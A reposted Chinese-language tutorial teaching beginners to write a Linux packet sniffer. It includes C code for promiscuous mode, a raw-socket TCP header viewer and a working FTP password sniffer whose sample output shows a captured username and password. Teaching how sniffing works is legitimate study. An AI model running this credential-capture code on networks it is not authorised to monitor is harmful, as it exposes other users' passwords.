Linux下sniffer的編寫(新手上路)
來源:互聯網
上載者:User
Sniffer程式是把NIC(網路適配卡,一般如乙太網路卡)置為一種叫promiscuous雜亂模式的狀態,一旦網卡設定為這種模式,它就能是 sniffer程式能接受傳輸在網路上的每一個資訊包。普通的情況下,網卡只接受和自己的地址有關的資訊包,即傳輸到本地主機的資訊包。要使 sniffer能接受處理這種方式的資訊,網卡就必須設定為我們剛開始將的雜亂模式,所以需要Root使用者來運行這種sniffer程式,所以大家知道 sniffer需要root身份安裝,而你即使以本機使用者進入了系統,你也嗅探不到root的密碼,因為不能運行sniffer.
所以編寫sniffer的步驟為:
1. set promiscuous, 設定網卡為雜亂模式.
2. sniffer network packet 監聽網路資料包
3. Decode packet 對資料包解碼(當然你要對網路資料的構成要有所瞭解)
第一步:
在linux 下,非常簡單的用ifconfig來, 使你要的網卡設定成雜亂模式
[root/chi root]#ifconfig
eth0 Link encap: Ethernet HWadd 00:50:56:46:40:41
inet addr: 192.168.25.3 Bcast: 192.168.25.255 Mask: 255.255.255.0
UP BROADCAST RUNNING MULTICSAT MUT:1500
.....................
[root/chi root]#ifconfig eht0 promisc
[root/chi root]#
用ifconfig把網卡eth0設定成雜亂模式.當然這隻是對ifconfig的利用, 如何自己寫個setpromisc.c
如下:
/*****************************set_promisc.c**************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netdb.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#define INTERFACE "eth0" /* 預設網卡 */
main(int argc,char *argv[])
{
int sock;
char *inter;
if(argc == 1)
inter = INTERFACE;
if(argc ==2)
inter = argv[1];
if(argc >2) {
printf("usage: %s <interface> /n",argv[0]);
exit(0);
}
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) <0) { /* 定義通訊端為SOCK_RAW */
printf("The raw socket was not created/n");
exit(0);
}
set_promisc(inter,sock);
}
int set_promisc(char *interface, int sock ) { /* 雜亂模式函數 */
struct ifreq ifr; /* ifreg結構 */
strncpy(ifr.ifr_name, interface,strlen(interface)+1); /* 輸入網卡名 */
if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) { /* 接收網卡訊號 */
printf("Could not retrive flags for the interface/n");
exit(0);
}
printf("The interface is ::: %s/n", interface);
ifr.ifr_flags |= IFF_PROMISC; /* 設定網卡訊號 = IFF_PROMISC */
if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) {
printf("Could not set the PROMISC flag./n");
exit(0);
}
printf("Setting interface ::: %s ::: to promisc mode/n", interface);
}
/*****************************************************************/
使用:
[root/chi root]#gcc -o set_promisc set_promisc.c
[root/chi root]#./set_promisc
The interface is ::: eth0
Setting interface ::: eth0 ::: to promisc mode
[root/chi root]#
第2步
寫個tcpview.c來查看網路的資訊,當然你要先瞭解網路資料包的構成,資料包大都採用封包的格式,先看看Tcp/IP協議吧
這個協議遵守一個四層的模型概念:應用程式層、傳輸層、互聯層和網路介面層。
________________________
| Application Layer | 應用程式層 - 應用程式 Telnet Ftp等等
|_______________________|
| Transport Layer | 傳輸層 - 傳輸協議在電腦之間提供通訊會話 。
|_______________________| 傳輸控制通訊協定TCP;使用者資料報協UDP
| Internet Layer | 互聯層 - 互聯協議將資料包封裝成internet資料包
|_______________________|
| Network Access Layer | 網路介面層 - 負責資料幀的發送和接收.
|_______________________|
瞭解Tcp/ip的應用後,也許你還會聯想到OSI模式, 不過共同點是每個要發送到網路的資料就要經過處理(封包).
_____________________
| Ethernet | 一個用TFTP來發送的資料包.
| ________________ | 1. 用Tftp來封裝資料
| | IP | | 2. 使用使用者資料報協UDP;
| | |------------| | | 3. 使用互聯協議IP
| | | UDP | | | 4. 通過網路介面並發送
| | | __________ | | |
| | || TFTP || | |
| | || ________ || | |
| | ||| DATA ||| | |
|_|_|||________|||_|__|
對Tcp和ip協議的簡述, 我就一筆代過, 不過你還是要瞭解下, 在Linux(Redht 7.3)下對他們的定以,開啟/usr/include/netinet/ip.h
struct iphdr {
unsigned int version:4; /* 版本 */
unsigned int ihl:4; /* Internet包頭長度 */
u_int8_t tos; /* 服務類型 */
u_int16_t tot_len; /* 總長度 */
u_int16_t id; /* 標識 */
u_int16_t frag_off; /* 段位移量 */
u_int8_t ttl; /* 存留時間 */
u_int8_t protocol; /* 協議 */
u_int16_t check; /* 頭校正碼 */
u_int32_t saddr; /* 源地址*/
u_int32_t daddr; /* 目的地址 */
};
開啟/usr/include/netinet/tcp.h
struct tcphdr {
u_int16_t source; /* 源連接埠 */
u_int16_t dest; /* 目的連接埠 */
u_int32_t seq; /* 序列碼 */
u_int32_t ack_seq; /* 確認碼 */
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
u_int16_t window; /* 視窗 */
u_int16_t check; /* 校正位 */
u_int16_t urg_ptr; /* 優先指標 */
};
有的sniffer則使用自己定一的tcp.h和ip.h,不過內容不變;
/***********************tcp_view.c *******************************/
#include <stdio.h> /* 對printf(), std_out等基本命令的定義 */
#include <sys/socket.h> /* 對SOCKET_RAW和網路通訊協定的定義 */
#include <netinet/in.h> /* 對sockaddr_in的定義 */
#include <arpa/inet.h> /* 對於網路資料轉換的定義, 如ntohs等 */
#include <netinet/ip.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
main()
{
int sock,bytes_received,len;
char buffer[65535];
struct sockaddr_in addr;
struct iphdr *ip;
struct tcphdr *tcp;
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) { /* 使用SOCK_RAW */
printf("sniffer failt/n");
exit(0);
}
while(1)
{
len = sizeof(addr);
bytes_received = recvfrom(sock,(char *)buffer,sizeof(buffer),0,(struct sockaddr *)&addr,&len);
printf("/nBytes received %5d/n",bytes_received);
printf("Source address %s /n",inet_ntoa(addr.sin_addr));
ip = (struct iphdr *)buffer; /* 格式化buffer的內容 */
printf("IP hearder length %d/n",ip->tot_len);
printf("Protocol %d/n",ip->protocol);
tcp = (struct tcphdr *)(buffer+sizeof(struct iphdr)); /* 格式化ip資料後面的buffer內容 */
printf("Source port %d/n",ntohs(tcp->source));
printf("Dest port %d /n",ntohs(tcp->dest));
}
}
/****************************************************************************/
[root/chi root]#ifconfig eth0 promisc
[root/chi root]#gcc -o tcp_view tcp_view.c
[root/chi root]#./tcp_view
然後我用別的電腦telnet這台主機
[root/chi root]#./tcp_view
Bytes received 40
Source address 192.168.25.1
IP hearder length 10240
Protocol 6
Source port 3173
Dest port 23
第3步
對sniffer到的內容的讀取. 在瞭解封包的結構後要如何把資料提出來呢, 看招.
/************************ftp_sniffer.c****************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <net/if.h>
#include <netdb.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/file.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#define FTP 21
#define INTERFACE "eth0" /* 網卡 */
int set_promisc(char *interface,int sock) /* 雜亂模式 */
{
struct ifreq ifr;
strncpy(ifr.ifr_name, interface,strlen(interface)+1);
if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {
printf("Could not retrive flags for the interface/n");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) {
printf("Could not set the PROMISC flag./n");
exit(0);
}
printf("Setting interface ::: %s ::: to promisc/n", interface);
}
main()
{
struct iphdr *ip;
struct tcphdr *tcp;
struct sockaddr_in addr;
char buffer[1024];
char *data;
int sock,byte_size,addrlen;
addrlen = sizeof(addr);
if(( sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) { /* 使用SOCK_RAW */
printf("socket failt /n");
exit(0);
}
set_promisc(INTERFACE,sock);
ip = (struct iphdr *)buffer; /* 格式化buffer */
tcp = (struct tcphdr *)(buffer+sizeof(struct iphdr)); /* 格式化去掉iphdr後的buffer */
while(1)
{
byte_size = recvfrom(sock,(char *)&buffer,sizeof(buffer),0,(struct sockaddr *)&addr,&addrlen);
if((ntohs(tcp->dest)) == FTP) /* sniffer FTP 密碼 */
{
data = &buffer[sizeof(struct iphdr) + sizeof(struct tcphdr)]; /* data 等於去掉iphdr和tcphdr後的buffer內容 */
printf("data: %s",data);
}
}
}
/*************************************************************************/
上面這個是一個簡單的ftp密碼sniffer.運行結果:
[root/chi tmp]#gcc -o ftp_sniffer ftp_sniffer.c
[root/chi tmp]#./ftp_sniffer
我在別的主機嘗試ftp到這個開了sniffer的電腦上,寫上使用者名稱, 密碼;
[root/chi tmp]#./ftp_sniffer
data: Z 07:32:41 EDT 2002
......同上
data: Z 07:32:41 EDT 2002
data: Z 07:32:41 EDT 2002
data: Z 07:32:41 EDT 2002
data: USER chi
07:32:41 EDT 2002
......同上
data: USER chi <------------- 使用者名稱
07:32:41 EDT 2002
data: PASS password <------------- 密碼
:41 EDT 2002
data: PASS password
:41 EDT 2002
data: SYST
.........
^c
[root/chi tmp]#
看到這裡, 你就寫出了自己的sniffer了, 當然功能有待擴充, 不過網路上也有好多這樣的sniffer程式,比如sniffit,tcpdump,dsniff.等等, 都是很好的選擇.